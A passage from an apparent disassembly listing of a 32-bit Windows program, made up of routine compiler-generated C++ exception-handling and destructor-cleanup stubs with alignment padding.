		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418250	proc near		; DATA XREF: sub_418250+2o
		mov	eax, offset dword_441EB8
		jmp	sub_437AB8
SEH_418250	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1B4h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418450	proc near		; DATA XREF: sub_418450+8o
		mov	eax, offset dword_441F00
		jmp	sub_437AB8
SEH_418450	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BF2B:				; DATA XREF: ___:00441F5Co
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4191A0	proc near		; DATA XREF: sub_4191A0+2o
		mov	eax, offset dword_441F30
		jmp	sub_437AB8
SEH_4191A0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_419260	proc near		; DATA XREF: sub_419260+2o
		mov	eax, offset dword_441F68
		jmp	sub_437AB8
SEH_419260	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-23Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_419300	proc near		; DATA XREF: sub_419300+2o
		mov	eax, offset dword_441F98
		jmp	sub_437AB8
SEH_419300	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4198F0	proc near		; DATA XREF: sub_4198F0+2o
		mov	eax, offset dword_441FD8
		jmp	sub_437AB8
SEH_4198F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-820h]
		jmp	sub_40187A
; ---------------------------------------------------------------------------


loc_43BFDB:				; DATA XREF: ___:0041A288o
		mov	eax, offset dword_442008
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-44h]
		and	eax, 1
		test	eax, eax
		jz	locret_43C006
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43C006:				; CODE XREF: ___:0043BFF8j
		retn
; ---------------------------------------------------------------------------


loc_43C007:				; DATA XREF: ___:00442064o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C017:				; DATA XREF: ___:0041B1C2o
		mov	eax, offset dword_442038
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41B4D0	proc near		; DATA XREF: sub_41B4D0+2o
		mov	eax, offset dword_442078
		jmp	sub_437AB8
SEH_41B4D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43C050	proc near		; DATA XREF: ___:004420D4o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
sub_43C050	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		and	eax, 1
		test	eax, eax
		jz	locret_43C06E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43C06E:				; CODE XREF: ___:0043C060j
		retn
; ---------------------------------------------------------------------------


loc_43C06F:				; DATA XREF: ___:004420DCo
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41BA50	proc near		; DATA XREF: sub_41BA50+2o
		mov	eax, offset dword_4420A8
		jmp	sub_437AB8
SEH_41BA50	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41C490	proc near		; DATA XREF: sub_41C490+2o
		mov	eax, offset dword_4420F0
		jmp	sub_437AB8
SEH_41C490	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C0FB:				; DATA XREF: ___:00442174o
		lea	ecx, [ebp-0DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-94h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-7Ch]
		jmp	sub_4014BA
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41C710	proc near		; DATA XREF: sub_41C710+2o
		mov	eax, offset dword_442148
		jmp	sub_437AB8
SEH_41C710	endp

; ---------------------------------------------------------------------------
		db 59h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C288:				; DATA XREF: ___:0044227Co
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D640	proc near		; DATA XREF: sub_41D640+2o
		mov	eax, offset dword_442250
		jmp	sub_437AB8
SEH_41D640	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C2C8:				; DATA XREF: ___:004422C4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D6D0	proc near		; DATA XREF: sub_41D6D0+2o
		mov	eax, offset dword_442298
		jmp	sub_437AB8
SEH_41D6D0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43C308:				; DATA XREF: ___:0044230Co
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 50h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 65h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D770	proc near		; DATA XREF: sub_41D770+2o
		mov	eax, offset dword_4422E0
		jmp	sub_437AB8
SEH_41D770	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1140h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C3A2:				; DATA XREF: sub_41D830+8o
		mov	eax, offset dword_442338
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 14h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41E140	proc near		; DATA XREF: sub_41E140+2o
		mov	eax, offset dword_442390
		jmp	sub_437AB8
SEH_41E140	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41E400	proc near		; DATA XREF: sub_41E400+2o
		mov	eax, offset dword_4423D0
		jmp	sub_437AB8
SEH_41E400	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-48h]
		jmp	sub_401825
; ---------------------------------------------------------------------------


loc_43C438:				; DATA XREF: ___:0044244Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-48h]
		jmp	sub_401253
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41E660	proc near		; DATA XREF: sub_41E660+8o
		mov	eax, offset dword_442420
		jmp	sub_437AB8
SEH_41E660	endp

; ---------------------------------------------------------------------------
aD		db '̸$D',0
; ---------------------------------------------------------------------------
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-1974h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C4DB:				; DATA XREF: ___:0044253Co
		lea	ecx, [ebp-195Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1944h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-198Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-192Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1914h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18E4h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41EF30	proc near		; DATA XREF: sub_41EF30+8o
		mov	eax, offset dword_442510
		jmp	sub_437AB8
SEH_41EF30	endp

; ---------------------------------------------------------------------------
		db 28h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-7Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C578:				; DATA XREF: ___:004425BCo
		lea	ecx, [ebp-64h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41F860	proc near		; DATA XREF: sub_41F860+2o
		mov	eax, offset dword_442590
		jmp	sub_437AB8
SEH_41F860	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		dw 8D8Dh
		dd 0FFFFFBB4h, 2ED3E990h
		db 0C5h, 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4200F0	proc near		; DATA XREF: sub_4200F0+2o
		mov	eax, offset dword_4425C8
		jmp	sub_437AB8
SEH_4200F0	endp

; ---------------------------------------------------------------------------
		db 14h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-112Ch]
		jmp	sub_401A82

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_420530	proc near		; DATA XREF: sub_420530+8o
		mov	eax, offset dword_442608
		jmp	sub_437AB8
SEH_420530	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-4FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C5FB:				; DATA XREF: ___:00442664o
		lea	ecx, [ebp-434h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4207E0	proc near		; DATA XREF: sub_4207E0+2o
		mov	eax, offset dword_442638
		jmp	sub_437AB8
SEH_4207E0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C62B:				; DATA XREF: ___:0044269Co
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C633:				; DATA XREF: ___:004426A4o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C63B:				; DATA XREF: ___:004426ACo
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C653:				; DATA XREF: ___:004426C4o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C66B:				; DATA XREF: ___:004426DCo
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C683:				; DATA XREF: ___:004426F4o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C69B:				; DATA XREF: ___:0044270Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C6AB:				; DATA XREF: ___:0044271Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C6BB:				; DATA XREF: ___:0044272Co
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_420E10	proc near		; DATA XREF: sub_420E10+8o
		mov	eax, offset dword_442670
		jmp	sub_437AB8
SEH_420E10	endp

; ---------------------------------------------------------------------------
		db 33h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43C718:				; DATA XREF: ___:00442784o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 50h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 65h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4218A0	proc near		; DATA XREF: sub_4218A0+2o
		mov	eax, offset dword_442758
		jmp	sub_437AB8
SEH_4218A0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	j_nullsub_11
		add	esp, 8
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_422750	proc near		; DATA XREF: sub_422750+2o
		mov	eax, offset dword_4427B0
		jmp	sub_437AB8
SEH_422750	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	j_nullsub_11
		add	esp, 8
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4227E0	proc near		; DATA XREF: sub_4227E0+2o
		mov	eax, offset dword_4427E0
		jmp	sub_437AB8
SEH_4227E0	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4228F0	proc near		; DATA XREF: sub_4228F0+2o
		mov	eax, offset dword_442810
		jmp	sub_437AB8
SEH_4228F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-624h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_422B40	proc near		; DATA XREF: sub_422B40+8o
		mov	eax, offset dword_442860
		jmp	sub_437AB8
SEH_422B40	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-434h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4253C0	proc near		; DATA XREF: sub_4253C0+2o
		mov	eax, offset dword_4428E8
		jmp	sub_437AB8
SEH_4253C0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_426C70	proc near		; DATA XREF: sub_426C70+2o
		mov	eax, offset dword_442918
		jmp	sub_437AB8
SEH_426C70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-40h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43C9D4:				; DATA XREF: ___:00426EC2o
		mov	eax, offset dword_442968
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427740	proc near		; DATA XREF: sub_427740+2o
		mov	eax, offset dword_442A48
		jmp	sub_437AB8
SEH_427740	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427800	proc near		; DATA XREF: sub_427800+2o
		mov	eax, offset dword_442A78
		jmp	sub_437AB8
SEH_427800	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427B00	proc near		; DATA XREF: sub_427B00+2o
		mov	eax, offset dword_442AA8
		jmp	sub_437AB8
SEH_427B00	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CAA8:				; DATA XREF: ___:00442B24o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427BA0	proc near		; DATA XREF: sub_427BA0+2o
		mov	eax, offset dword_442AF8
		jmp	sub_437AB8
SEH_427BA0	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427C90	proc near		; DATA XREF: sub_427C90+2o
		mov	eax, offset dword_442B48
		jmp	sub_437AB8
SEH_427C90	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


